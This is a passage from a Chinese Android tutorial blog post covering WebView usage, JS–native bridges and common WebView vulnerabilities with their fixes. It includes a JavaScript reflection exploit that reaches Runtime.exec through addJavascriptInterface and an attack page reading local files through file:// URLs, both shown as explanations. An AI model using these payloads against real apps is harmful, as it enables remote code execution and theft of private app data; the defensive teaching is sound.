android WebView詳解,常見漏洞詳解和安全源碼


  這篇博客主要來介紹 WebView 的相關使用方法,常見的幾個漏洞,開發中可能遇到的坑和最后解決相應漏洞的源碼,以及針對該源碼的解析。 
  轉載請注明出處:http://blog.csdn.net/self_study/article/details/54928371。 
  對技術感興趣的同鞋加群 544645972 一起交流。

Android Hybrid 和 WebView 解析

  現在市面上的 APP 根據類型大致可以分為 3 類:Native APP、Web APP 和 Hybrid APP,而 Hybrid APP 兼具 “Native APP 良好用戶交互體驗的優勢”和 “Web APP 跨平台開發的優勢”,現在很多的主流應用也是使用 Hybrid 模式開發的。

Hybrid 的優勢與原生的體驗差距

Hybrid 的優勢

  為什么要使用 Hybrid 開發呢,這就要提到 native 開發的限制:
  1.客戶端發板周期長
    眾所周知,客戶端的發板周期在正常情況下比較長,就算是創業公司的迭代也在一到兩個星期一次,大公司的迭代周期一般都在月這個數量級別上,而且 Android 還好,iOS 的審核就算變短了也有幾天,而且可能會有審核不通過的意外情況出現,所謂為了應對業務的快速發展,很多業務比如一些活動頁面就可以使用 H5 來進行開發。
  2.客戶端大小體積受限
    如果所有的東西都使用 native 開發,比如上面提到的活動頁面,就會造成大量的資源文件要加入到 APK 中,這就造成 APK 大小增加,而且有的活動頁面更新很快,造成資源文件可能只會使用一個版本,如果不及時清理,就會造成資源文件的殘留。
  3.web 頁面的體驗問題
    使用純 Web 開發,比以前迭代快速很多,但是從某種程度上來說,還是不如原生頁面的交互體驗好; 
  4.無法跨平台
    一般情況下,同一樣的頁面在 android 和 iOS 上需要寫兩份不同的代碼,但是現在只需要寫一份即可,Hybrid 具有跨平台的優勢。

  所以綜上這兩種方式單獨處理都不是特別好,考慮到發版周期不定,而且體驗交互上也不能很差,所以就把兩種方式綜合起來,讓終端和前端共同開發一個 APP,這樣一些迭代很穩定的頁面就可以使用原生,增加體驗性;一些迭代很快速的頁面就可以使用 H5,讓兩種優點結合起來,彌補原來單個開發模式的缺點。 
這里寫圖片描述

H5 與 Native 的體驗差距

  H5 和 Native 的體驗差距主要在兩個方面:
  1.頁面渲染瓶頸
    第一個是前端頁面代碼渲染,受限於 JS 的解析效率,以及手機硬件設備的一些性能,所以從這個角度來說,我們應用開發者是很難從根本上解決這個問題的;
  2.資源加載緩慢
    第二個方面是 H5 頁面是從服務器上下發的,客戶端的頁面在內存里面,在頁面加載時間上面,根據網絡狀況的不同,H5 頁面的體驗和 Native 在很多情況下相比差距還是不小的,但是這種問題從某種程度上來說也是可以彌補的,比如說我們可以做一些資源預加載的方案,在資源預加載方面,其實也有很多種方式,下面主要列舉了一些:

    • 第一種方式是使用 WebView 自身的緩存機制:
    • 如果我們在 APP 里面訪問一個頁面,短時間內再次訪問這個頁面的時候,就會感覺到第二次打開的時候順暢很多,加載速度比第一次的時間要短,這個就是因為 WebView 自身內部會做一些緩存,只要打開過的資源,他都會試着緩存到本地,第二次需要訪問的時候他直接從本地讀取,但是這個讀取其實是不太穩定的東西,關掉之后,或者說這種緩存失效之后,系統會自動把它清除,我們沒辦法進行控制。基於這個 WebView 自身的緩存,有一種資源預加載的方案就是,我們在應用啟動的時候可以開一個像素的 WebView ,事先去訪問一下我們常用的資源,后續打開頁面的時候如果再用到這些資源他就可以從本地獲取到,頁面加載的時間會短一些。
    • 第二種方案是,我們自己去構建,自己管理緩存:
    • 把這些需要預加載的資源放在 APP 里面,他可能是預先放進去的,也可能是后續下載的,問題在於前端這些頁面怎么去緩存,兩個方案,第一種是前端可以在 H5 打包的時候把里面的資源 URL 進行替換,這樣可以直接訪問本地的地址;第二種是客戶端可以攔截這些網頁發出的所有請求做替換:


這里寫圖片描述

      這個是美團使用的預加載方案(詳情請看:

美團大眾點評 Hybrid 化建設

    ),歸屬於第二種加載方案,每當 WebView 發起資源請求的時候,我們會攔截這些資源的請求,去本地檢查一下我們這些靜態資源本地離線包有沒有。針對本地的緩存文件我們有些策略能夠及時的去更新它,為了安全考慮,也需要同時做一些預下載和安全包的加密工作。預下載有以下幾點優勢:
    1. 我們攔截了 WebView 里面發出的所有的請求,但是並沒有替換里面的前端應用的任何代碼,前端這套頁面代碼可以在 APP 內,或者其他的 APP 里面都可以直接訪問,他不需要為我們 APP 做定制化的東西;
    2. 這些 URL 請求,他會直接帶上先前用戶操作所留下的 Cookie ,因為我們沒有更改資源原始 URL 地址;
    3. 整個前端在用離線包和緩存文件的時候是完全無感知的,前端只用管寫一個自己的頁面,客戶端會幫他處理好這樣一些靜態資源預加載的問題,有這個離線包的話,加載速度會變快很多,特別是在弱網情況下,沒有這些離線包加載速度會慢一些。而且如果本地離線包的版本不能跟 H5 匹配的話,H5 頁面也不會發生什么問題。
      實際資源預下載也確實能夠有效的增加頁面的加載速度,具體的對比可以去看美團的那片文章。

  那么什么地方需要使用 Native 開發,什么地方需要使用 H5 開發呢:一般來說 Hybrid 是用在一些快速迭代試錯的地方,另外一些非主要產品的頁面,也可以使用 Hybrid 去做;但是如果是一些很重要的流程,使用頻率很高,特別核心的功能,還是應該使用 Native 開發,讓用戶得到一個極致的產品體驗。

 

WebView 詳細介紹

  我們來看看 Google 官網關於 WebView 的介紹:

A View that displays web pages. This class is the basis upon which you can roll your own web browser or simply display some online content within your Activity. It uses the WebKit rendering engine to display web pages and includes methods to navigate forward and backward through a history, zoom in and out, perform text searches and more.

可以看到 WebView 是一個顯示網頁的控件,並且可以簡單的顯示一些在線的內容,並且基於 WebKit 內核,在 Android4.4(API Level 19) 引入了一個基於 Chromium 的新版本 WebView ,這讓我們的 WebView 能支持 HTML5 和 CSS3 以及 JavaScript,有一點需要注意的是由於 WebView 的升級,對於我們的程序也帶來了一些影響,如果我們的 targetSdkVersion 設置的是 18 或者更低, single and narrow column 和 default zoom levels 不再支持。Android4.4 之后有一個特別方便的地方是可以通過 setWebContentDebuggingEnabled() 方法讓我們的程序可以進行遠程桌面調試。

WebView 加載頁面

  WebView 有四個用來加載頁面的方法:

  使用起來較為簡單,loadData 方法會有一些坑,在下面的內容會介紹到。

 

WebView 常見設置

  使用 WebView 的時候,一般都會對其進行一些設置,我們來看看常見的設置:

WebSettings webSettings = webView.getSettings();
//設置了這個屬性后我們才能在 WebView 里與我們的 Js 代碼進行交互,對於 WebApp 是非常重要的,默認是 false, //因此我們需要設置為 true,這個本身會有漏洞,具體的下面我會講到 webSettings.setJavaScriptEnabled(true); //設置 JS 是否可以打開 WebView 新窗口 webSettings.setJavaScriptCanOpenWindowsAutomatically(true); //WebView 是否支持多窗口,如果設置為 true,需要重寫 //WebChromeClient#onCreateWindow(WebView, boolean, boolean, Message) 函數,默認為 false webSettings.setSupportMultipleWindows(true); //這個屬性用來設置 WebView 是否能夠加載圖片資源,需要注意的是,這個方法會控制所有圖片,包括那些使用 data URI 協議嵌入 //的圖片。使用 setBlockNetworkImage(boolean) 方法來控制僅僅加載使用網絡 URI 協議的圖片。需要提到的一點是如果這 //個設置從 false 變為 true 之后,所有被內容引用的正在顯示的 WebView 圖片資源都會自動加載,該標識默認值為 true。 webSettings.setLoadsImagesAutomatically(false); //標識是否加載網絡上的圖片(使用 http 或者 https 域名的資源),需要注意的是如果 getLoadsImagesAutomatically() //不返回 true,這個標識將沒有作用。這個標識和上面的標識會互相影響。 webSettings.setBlockNetworkImage(true); //顯示WebView提供的縮放控件 webSettings.setDisplayZoomControls(true); webSettings.setBuiltInZoomControls(true); //設置是否啟動 WebView API,默認值為 false webSettings.setDatabaseEnabled(true); //打開 WebView 的 storage 功能,這樣 JS 的 localStorage,sessionStorage 對象才可以使用 webSettings.setDomStorageEnabled(true); //打開 WebView 的 LBS 功能,這樣 JS 的 geolocation 對象才可以使用 webSettings.setGeolocationEnabled(true); webSettings.setGeolocationDatabasePath(""); //設置是否打開 WebView 表單數據的保存功能 webSettings.setSaveFormData(true); //設置 WebView 的默認 userAgent 字符串 webSettings.setUserAgentString(""); //設置是否 WebView 支持 “viewport” 的 HTML meta tag,這個標識是用來屏幕自適應的,當這個標識設置為 false 時, //頁面布局的寬度被一直設置為 CSS 中控制的 WebView 的寬度;如果設置為 true 並且頁面含有 viewport meta tag,那么 //被這個 tag 聲明的寬度將會被使用,如果頁面沒有這個 tag 或者沒有提供一個寬度,那么一個寬型 viewport 將會被使用。 webSettings.setUseWideViewPort(false); //設置 WebView 的字體,可以通過這個函數,改變 WebView 的字體,默認字體為 "sans-serif" webSettings.setStandardFontFamily(""); //設置 WebView 字體的大小,默認大小為 16 webSettings.setDefaultFontSize(20); //設置 WebView 支持的最小字體大小,默認為 8 webSettings.setMinimumFontSize(12); //設置頁面是否支持縮放 webSettings.setSupportZoom(true); //設置文本的縮放倍數,默認為 100 webSettings.setTextZoom(2);

  然后還有最常用的 WebViewClient 和 WebChromeClient,WebViewClient主要輔助WebView執行處理各種響應請求事件的,比如: 

  • onLoadResource
  • onPageStart
  • onPageFinish
  • onReceiveError
  • onReceivedHttpAuthRequest
  • shouldOverrideUrlLoading

WebChromeClient 主要輔助 WebView 處理J avaScript 的對話框、網站 Logo、網站 title、load 進度等處理:

  • onCloseWindow(關閉WebView)
  • onCreateWindow
  • onJsAlert
  • onJsPrompt
  • onJsConfirm
  • onProgressChanged
  • onReceivedIcon
  • onReceivedTitle
  • onShowCustomView

WebView 只是用來處理一些 html 的頁面內容,只用 WebViewClient 就行了,如果需要更豐富的處理效果,比如 JS、進度條等,就要用到 WebChromeClient,我們接下來為了處理在特定版本之下的 js 漏洞問題,就需要用到 WebChromeClient。 
  接着還有 WebView 的幾種緩存模式:

  • LOAD_CACHE_ONLY
  • 不使用網絡,只讀取本地緩存數據;
  • LOAD_DEFAULT
  • 根據 cache-control 決定是否從網絡上取數據;
  • LOAD_CACHE_NORMAL
  • API level 17 中已經廢棄, 從 API level 11 開始作用同 LOAD_DEFAULT 模式 ;
  • LOAD_NO_CACHE
  • 不使用緩存,只從網絡獲取數據;
  • LOAD_CACHE_ELSE_NETWORK
  • 只要本地有,無論是否過期,或者 no-cache,都使用緩存中的數據。

www.baidu.com 的 cache-control 為 no-cache,在模式 LOAD_DEFAULT 下,無論如何都會從網絡上取數據,如果沒有網絡,就會出現錯誤頁面;在 LOAD_CACHE_ELSE_NETWORK 模式下,無論是否有網,只要本地有緩存,都會加載緩存。本地沒有緩存時才從網絡上獲取,這個和 Http 緩存一致,我不在過多介紹,如果你想自定義緩存策略和時間,可以嘗試下,volley 就是使用了 http 定義的緩存時間。 
  清空緩存和清空歷史記錄,CacheManager 來處理 webview 緩存相關:mWebView.clearCache(true);;清空歷史記錄mWebview.clearHistory();,這個方法要在 onPageFinished() 的方法之后調用。

 

WebView 與 native 的交互

  使用 Hybrid 開發的 APP 基本都需要 Native 和 web 頁面的 JS 進行交互,下面介紹一下交互的方式。

js 調用 native

  如何讓 web 頁面調用 native 的代碼呢,有三種方式:

  第一種方式:通過 addJavascriptInterface 方法進行添加對象映射 
  這種是使用最多的方式了,首先第一步我們需要設置一個屬性:

mWebView.getSettings().setJavaScriptEnabled(true);

這個函數會有一個警告,因為在特定的版本之下會有非常危險的漏洞,我們下面將會着重介紹到,設置完這個屬性之后,Native 需要定義一個類:

public class JSObject { private Context mContext; public JSObject(Context context) { mContext = context; } @JavascriptInterface public String showToast(String text) { Toast.show(mContext, text, Toast.LENGTH_SHORT).show(); return "success"; } } ... //特定版本下會存在漏洞 mWebView.addJavascriptInterface(new JSObject(this), "myObj");

需要注意的是在 API17 版本之后,需要在被調用的地方加上 @addJavascriptInterface 約束注解,因為不加上注解的方法是沒有辦法被調用的,JS 代碼也很簡單:

function showToast(){ var result = myObj.showToast("我是來自web的Toast"); }

可以看到,這種方式的好處在於使用簡單明了,本地和 JS 的約定也很簡單,就是對象名稱和方法名稱約定好即可,缺點就是下面要提到的漏洞問題。

  第二種方式:利用 WebViewClient 接口回調方法攔截 url
  這種方式其實實現也很簡單,使用的頻次也很高,上面我們介紹到了 WebViewClient ,其中有個回調接口 shouldOverrideUrlLoading (WebView view, String url) ,我們就是利用這個攔截 url,然后解析這個 url 的協議,如果發現是我們預先約定好的協議就開始解析參數,執行相應的邏輯,我們先來看看這個函數的介紹:

Give the host application a chance to take over the control when a new url is about to be loaded in the current WebView. If WebViewClient is not provided, by default WebView will ask Activity Manager to choose the proper handler for the url. If WebViewClient is provided, return true means the host application handles the url, while return false means the current WebView handles the url. This method is not called for requests using the POST "method".

注意這個方法在 API24 版本已經廢棄了,需要使用 shouldOverrideUrlLoading (WebView view, WebResourceRequest request) 替代,使用方法很類似,我們這里就使用 shouldOverrideUrlLoading (WebView view, String url) 方法來介紹一下:

public boolean shouldOverrideUrlLoading(WebView view, String url) { //假定傳入進來的 url = "js://openActivity?arg1=111&arg2=222",代表需要打開本地頁面,並且帶入相應的參數 Uri uri = Uri.parse(url); String scheme = uri.getScheme(); //如果 scheme 為 js,代表為預先約定的 js 協議 if (scheme.equals("js")) { //如果 authority 為 openActivity,代表 web 需要打開一個本地的頁面 if (uri.getAuthority().equals("openActivity")) { //解析 web 頁面帶過來的相關參數 HashMap<String, String> params = new HashMap<>(); Set<String> collection = uri.getQueryParameterNames(); for (String name : collection) { params.put(name, uri.getQueryParameter(name)); } Intent intent = new Intent(getContext(), MainActivity.class); intent.putExtra("params", params); getContext().startActivity(intent); } //代表應用內部處理完成 return true; } return super.shouldOverrideUrlLoading(view, url); }

 

代碼很簡單,這個方法可以攔截 WebView 中加載 url 的過程,得到對應的 url,我們就可以通過這個方法,與網頁約定好一個協議,如果匹配,執行相應操作,我們看一下 JS 的代碼:

function openActivity(){ document.location = "js://openActivity?arg1=111&arg2=222"; }

這個代碼執行之后,就會觸發本地的 shouldOverrideUrlLoading 方法,然后進行參數解析,調用指定方法。這個方式不會存在第一種提到的漏洞問題,但是它也有一個很繁瑣的地方是,如果 web 端想要得到方法的返回值,只能通過 WebView 的 loadUrl 方法去執行 JS 方法把返回值傳遞回去,相關的代碼如下:

//java mWebView.loadUrl("javascript:returnResult(" + result + ")");
//javascript function returnResult(result){ alert("result is" + result); }

 

所以說第二種方式在返回值方面還是很繁瑣的,但是在不需要返回值的情況下,比如打開 Native 頁面,還是很合適的,制定好相應的協議,就能夠讓 web 端具有打開所有本地頁面的能力了。
  第三種方式:利用 WebChromeClient 回調接口的三個方法攔截消息
  這個方法的原理和第二種方式原理一樣,都是攔截相關接口,只是攔截的接口不一樣:

@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) { return super.onJsAlert(view, url, message, result); } @Override public boolean onJsConfirm(WebView view, String url, String message, JsResult result) { return super.onJsConfirm(view, url, message, result); } @Override public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { //假定傳入進來的 message = "js://openActivity?arg1=111&arg2=222",代表需要打開本地頁面,並且帶入相應的參數 Uri uri = Uri.parse(message); String scheme = uri.getScheme(); if (scheme.equals("js")) { if (uri.getAuthority().equals("openActivity")) { HashMap<String, String> params = new HashMap<>(); Set<String> collection = uri.getQueryParameterNames(); for (String name : collection) { params.put(name, uri.getQueryParameter(name)); } Intent intent = new Intent(getContext(), MainActivity.class); intent.putExtra("params", params); getContext().startActivity(intent); //代表應用內部處理完成 result.confirm("success"); } return true; } return super.onJsPrompt(view, url, message, defaultValue, result); }

 

和 WebViewClient 一樣,這次添加的是 WebChromeClient 接口,可以攔截 JS 中的幾個提示方法,也就是幾種樣式的對話框,在 JS 中有三個常用的對話框方法:

  • onJsAlert 方法是彈出警告框,一般情況下在 Android 中為 Toast,在文本里面加入\n就可以換行;
  • onJsConfirm 彈出確認框,會返回布爾值,通過這個值可以判斷點擊時確認還是取消,true表示點擊了確認,false表示點擊了取消;
  • onJsPrompt 彈出輸入框,點擊確認返回輸入框中的值,點擊取消返回 null。

但是這三種對話框都是可以本地攔截到的,所以可以從這里去做一些更改,攔截這些方法,得到他們的內容,進行解析,比如如果是 JS 的協議,則說明為內部協議,進行下一步解析然后進行相關的操作即可,prompt 方法調用如下所示:

function clickprompt(){ var result=prompt("js://openActivity?arg1=111&arg2=222"); alert("open activity " + result); }

這里需要注意的是 prompt 里面的內容是通過 message 傳遞過來的,並不是第二個參數的 url,返回值是通過 JsPromptResult 對象傳遞。為什么要攔截 onJsPrompt 方法,而不是攔截其他的兩個方法,這個從某種意義上來說都是可行的,但是如果需要返回值給 web 端的話就不行了,因為 onJsAlert 是不能返回值的,而 onJsConfirm 只能夠返回確定或者取消兩個值,只有 onJsPrompt 方法是可以返回字符串類型的值,操作最全面方便。
  以上三種方案的總結和對比 
  以上三種方案都是可行的,在這里總結一下

  • 第一種方式:
  • 是現在目前最普遍的用法,方便簡潔,但是唯一的不足是在 4.2 系統以下存在漏洞問題;
  • 第二種方式:
  • 通過攔截 url 並解析,如果是已經約定好的協議則進行相應規定好的操作,缺點就是協議的約束需要記錄一個規范的文檔,而且從 Native 層往 Web 層傳遞值比較繁瑣,優點就是不會存在漏洞,iOS7 之下的版本就是使用的這種方式。
  • 第三種方式:
  • 和第二種方式的思想其實是類似的,只是攔截的方法變了,這里攔截了 JS 中的三種對話框方法,而這三種對話框方法的區別就在於返回值問題,alert 對話框沒有返回值,confirm 的對話框方法只有兩種狀態的返回值,prompt 對話框方法可以返回任意類型的返回值,缺點就是協議的制定比較麻煩,需要記錄詳細的文檔,但是不會存在第二種方法的漏洞問題。

 

native 調用 js

  第一種方式 
  native 調用 js 的方法上面已經介紹到了,方法為:

//java mWebView.loadUrl("javascript:show(" + result + ")");
//javascript
<script type="text/javascript"> function show(result){ alert("result"=result); return "success"; } </script>

 

需要注意的是名字一定要對應上,要不然是調用不成功的,而且還有一點是 JS 的調用一定要在 onPageFinished 函數回調之后才能調用,要不然也是會失敗的。 
  第二種方式 
  如果現在有需求,我們要得到一個 Native 調用 Web 的回調怎么辦,Google 在 Android4.4 為我們新增加了一個新方法,這個方法比 loadUrl 方法更加方便簡潔,而且比 loadUrl 效率更高,因為 loadUrl 的執行會造成頁面刷新一次,這個方法不會,因為這個方法是在 4.4 版本才引入的,所以我們使用的時候需要添加版本的判斷:

final int version = Build.VERSION.SDK_INT; if (version < 18) { mWebView.loadUrl(jsStr); } else { mWebView.evaluateJavascript(jsStr, new ValueCallback<String>() { @Override public void onReceiveValue(String value) { //此處為 js 返回的結果 } }); }

  兩種方式的對比 
  一般最常使用的就是第一種方法,但是第一種方法獲取返回的值比較麻煩,而第二種方法由於是在 4.4 版本引入的,所以局限性比較大。

WebView 常見漏洞

  WebView 的漏洞也是不少,列舉一些常見的漏洞,實時更新,如果有其他的常見漏洞,知會一下我~~

WebView 任意代碼執行漏洞

  已知的 WebView 任意代碼執行漏洞有 4 個,較早被公布是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口會引起遠程代碼執行漏洞。接着是 CVE-2013-4710,針對某些特定機型會存在 addJavascriptInterface API 引起的遠程代碼執行漏洞。之后是 CVE-2014-1939 爆出 WebView 中內置導出的 “searchBoxJavaBridge_” Java Object 可能被利用,實現遠程任意代碼。再后來是 CVE-2014-7224,類似於 CVE-2014-1939 ,WebView 內置導出 “accessibility” 和 “accessibilityTraversal” 兩個 Java Object 接口,可被利用實現遠程任意代碼執行。
  一般情況下,WebView 使用 Javascript 腳本的代碼如下所示:

WebView mWebView = (WebView)findViewById(R.id.webView); WebSettings msetting = mWebView.getSettings(); msetting.setJavaScriptEnabled(true); mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”); mWebView.loadUrl(url);

 

CVE-2012-6636 和 CVE-2013-4710

  Android 系統為了方便 APP 中 Java 代碼和網頁中的 Javascript 腳本交互,在 WebView 控件中實現了 addJavascriptInterface 接口,如上面的代碼所示,我們來看一下這個方法的官方描述: 

 

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2. The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.

   JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore

required to maintain thread safety.The Java object's fields are not accessible.

 

For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are enumerable from JavaScript.

  可以看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,使用這個方法是不安全的,網頁中的JS腳本可以利用接口 “testjs” 調用 App 中的 Java 代碼,而 Java 對象繼承關系會導致很多 Public 的函數及 getClass 函數都可以在JS中被訪問,結合 Java 的反射機制,攻擊者還可以獲得系統類的函數,進而可以進行任意代碼執行,首先第一步 WebView 添加 Javascript 對象,並且添加一些權限,比如想要獲取 SD 卡上面的信息就需要 android.permission.WRITE_EXTERNAL_STORAGE ;第二步 JS 中可以遍歷 window 對象,找到存在 getClass 方法的對象,再通過反射的機制,得到 Runtime 對象,然后就可以調用靜態方法來執行一些命令,比如訪問文件的命令;第三步就是從執行命令后返回的輸入流中得到字符串,比如執行完訪問文件的命令之后,就可以得到文件名的信息了,有很嚴重暴露隱私的危險,核心 JS 代碼:

function execute(cmdArgs) { for (var obj in window) { if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } } 

所以當一些 APP 通過掃描二維碼打開一個外部網頁的時候,就可以執行這段 js 代碼,漏洞在 2013 年 8 月被披露后,很多 APP 都中招,其中瀏覽器 APP 成為重災區,但截至目前仍有很多 APP 中依然存在此漏洞,與以往不同的只是攻擊入口發生了一定的變化。另外一些小廠商的 APP 開發團隊因為缺乏安全意識,依然還在APP中隨心所欲的使用 addJavascriptInterface 接口,明目張膽踩雷。
  出於安全考慮,Google 在 API17 版本中就規定能夠被調用的函數必須以 @JavascriptInterface 進行注解,理論上如果 APP 依賴的 API 為 17(Android 4.2)或者以上,就不會受該問題的影響,但在部分低版本的機型上,API17 依然受影響,所以危害性到目前為止依舊不小。關於所有 Android 機型的占比,可以看看 Google 的 Dashboards
這里寫圖片描述 

截止 2017/1/9 日,可以看到 android5.0 之下的手機依舊不少,需要重視。
  漏洞的解決
  但是這個漏洞也是有解決方案的,上面的很多地方也都提到了這個漏洞,那么這個漏洞怎么去解決呢?這就需要用到 onJsPrompt 這個方法了,這里先給出解決這個漏洞的具體步驟,在下面的源碼部分有修復這個漏洞的詳細代碼:

  • 繼承 WebView ,重寫 addJavascriptInterface 方法,然后在內部自己維護一個對象映射關系的 Map,當調用 addJavascriptInterface 方法,將需要添加的 JS 接口放入這個 Map 中;
  • 每次當 WebView 加載頁面的時候加載一段本地的 JS 代碼:

 

javascript:(function JsAddJavascriptInterface_(){ if(typeof(window.XXX_js_interface_name)!='undefined'){ console.log('window.XXX_js_interface_name is exist!!'); }else{ window.XXX_js_interface_name={ XXX:function(arg0,arg1){ return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]})); }, }; } })()

這段 JS 代碼定義了注入的格式,其中的 XXX 為注入對象的方法名字,終端和 web 端只要按照定義的格式去互相調用即可,如果這個對象有多個方法,則會注冊多個 window.XXX_js_interface_name 塊;

  • 然后在 prompt 中返回我們約定的字符串,當然這個字符串也可以自己重新定義,它包含了特定的標識符 MyApp,后面包含了一串 JSON 字符串,它包含了方法名,參數,對象名等;
  • 當 JS 調用 XXX 方法的時候,就會調用到終端 Native 層的 OnJsPrompt 方法中,我們再解析出方法名,參數,對象名等,解析出來之后進行相應的處理,同時返回值也可以通過 prompt 返回回去;
  • window.XXX_js_interface_name 代表在 window 上聲明了一個對象,聲明的方式是:方法名:function(參數1,參數2)。

還有一個問題是什么時候加載這段 JS 呢,在 WebView 正常加載 URL 的時候去加載它,但是會發現當 WebView 跳轉到下一個頁面時,之前加載的 JS 可能就已經無效了,需要再次加載,所以通常需要在一下幾個方法中加載 JS,這幾個方法分別是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。 
  通過這幾步,就可以簡單的修復漏洞問題,但是還需要注意幾個問題,需要過濾掉 Object 類的方法,由於通過反射的形式來得到指定對象的方法,所以基類的方法也可以得到,最頂層的基類就是 Object,為了不把 getClass 等方法注入到 JS 中,我們需要把 Object 的共有方法過濾掉,需要過濾的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,“toString”,“wait”,具體的代碼實現可以看看下面的源碼。

 

CVE-2014-1939

  在 2014 年發現在 Android4.4 以下的系統中,webkit 中默認內置了 “searchBoxJavaBridge_”,代碼位於 “java/android/webkit/BrowserFrame.java”,該接口同樣存在遠程代碼執行的威脅,所以就算沒有通過 addJavascriptInterface 加入任何的對象,系統也會加入一個 searchBoxJavaBridge_ 對象,解決辦法就是通過 removeJavascriptInterface 方法將對象刪除。

CVE-2014-7224

  在 2014 年,研究人員 Daoyuan Wu 和 Rocky Chang 發現,當系統輔助功能服務被開啟時,在 Android4.4 以下的系統中,由系統提供的 WebView 組件都默認導出 ”accessibility” 和 ”accessibilityTraversal” 這兩個接口,代碼位於 “android/webkit/AccessibilityInjector.java”,這兩個接口同樣存在遠程任意代碼執行的威脅,同樣的需要通過 removeJavascriptInterface 方法將這兩個對象刪除。

WebView 密碼明文存儲漏洞

  WebView 默認開啟密碼保存功能 mWebView.setSavePassword(true),如果該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,如果選擇”是”,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中,這樣就有被盜取密碼的危險,所以需要通過 WebSettings.setSavePassword(false) 關閉密碼保存提醒功能。

WebView 域控制不嚴格漏洞

  要了解 WebView 中 file 協議的安全性,我們這里用一個簡單的例子來演示一下,這個 APP 中有一個頁面叫做 WebViewActivity :

public class WebViewActivity extends Activity { private WebView webView; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_webview); webView = (WebView) findViewById(R.id.webView); //webView.getSettings().setJavaScriptEnabled(true); (0) //webView.getSettings().setAllowFileAccess(false); (1) //webView.getSettings().setAllowFileAccessFromFileURLs(true); (2) //webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3) Intent i = getIntent(); String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html webView.loadUrl(url); } } 

將該 WebViewActivity 設置為 exported=”true”,當其他應用啟動此 Activity 時, intent 中的 data 直接被當作 url 來加載(假定傳進來的 url 為 file:///data/local/tmp/attack.html ),通過其他 APP 使用顯式 ComponentName 或者其他類似方式就可以很輕松的啟動該 WebViewActivity ,我們知道因為 Android 中的 sandbox,Android 中的各應用是相互隔離的,在一般情況下 A 應用是不能訪問 B 應用的文件的,但不正確的使用 WebView 可能會打破這種隔離,從而帶來應用數據泄露的威脅,即 A 應用可以通過 B 應用導出的 Activity 讓 B 應用加載一個惡意的 file 協議的 url,從而可以獲取 B 應用的內部私有文件,下面我們着重分析這幾個 API 對 WebView 安全性的影響。

setAllowFileAccess

Enables or disables file access within WebView. File access is enabled by default. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android_asset and file:///android_res.

  通過這個 API 可以設置是否允許 WebView 使用 File 協議,Android 中默認 setAllowFileAccess(true),所以默認值是允許,在 File 域下,能夠執行任意的 JavaScript 代碼,同源策略跨域訪問則能夠對私有目錄文件進行訪問,APP 嵌入的 WebView 未對 file:/// 形式的 URL 做限制,所以使用 file 域加載的 js 能夠使用同源策略跨域訪問導致隱私信息泄露,針對 IM 類軟件會導致聊天信息、聯系人等等重要信息泄露,針對瀏覽器類軟件,則更多的是 cookie 信息泄露。如果不允許使用 file 協議,則不會存在下面將要講到的各種跨源的安全威脅,但同時也限制了 WebView 的功能,使其不能加載本地的 html 文件。禁用 file 協議后,讓 WebViewActivity 打開 attack.html 會得到如下圖所示的輸出,圖中所示的文件是存在的,但 WebView 禁止加載此文件,移動版的 Chrome 默認禁止加載 file 協議的文件。
這里寫圖片描述
那么怎么解決呢,不要着急,繼續往下看。

setAllowFileAccessFromFileURLs

Sets whether JavaScript running in the context of a file scheme URL should be allowed to access content from other file scheme URLs. To enable the most restrictive, and therefore secure policy, this setting should be disabled. Note that the value of this setting is ignored if the value of getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript access to file scheme resources. Other access to such resources, for example, from image HTML elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH and earlier devices, you should explicitly set this value to false. The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level JELLY_BEAN and above.

  通過此API可以設置是否允許通過 file url 加載的 Javascript 讀取其他的本地文件,這個設置在 JELLY_BEAN(android 4.1) 以前的版本默認是允許,在 JELLY_BEAN 及以后的版本中默認是禁止的。當 AllowFileAccessFromFileURLs 設置為 true 時,對應上面的 attack.html 代碼為:

<script> function loadXMLDoc() { var arm = "file:///etc/hosts"; var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } xmlhttp.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp.readyState==4) { console.log(xmlhttp.responseText); } } xmlhttp.open("GET",arm); xmlhttp.send(null); } loadXMLDoc(); </script>

,此時通過這段代碼就可以成功讀取 /etc/hosts 的內容,最顯著的例子就是 360 手機瀏覽器的早期 4.8 版本,由於未對 file 域做安全限制,惡意 APP 調用 360 瀏覽器加載本地的攻擊頁面(比如惡意 APP 釋放到 sd 卡上的一個 html)后,就可以獲取 360 手機瀏覽器下的所有私有數據,包括 webviewCookiesChromium.db 下的 Cookie 內容,但是如果設置為 false 時,上述腳本執行會導致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 讀取其它本地文件:

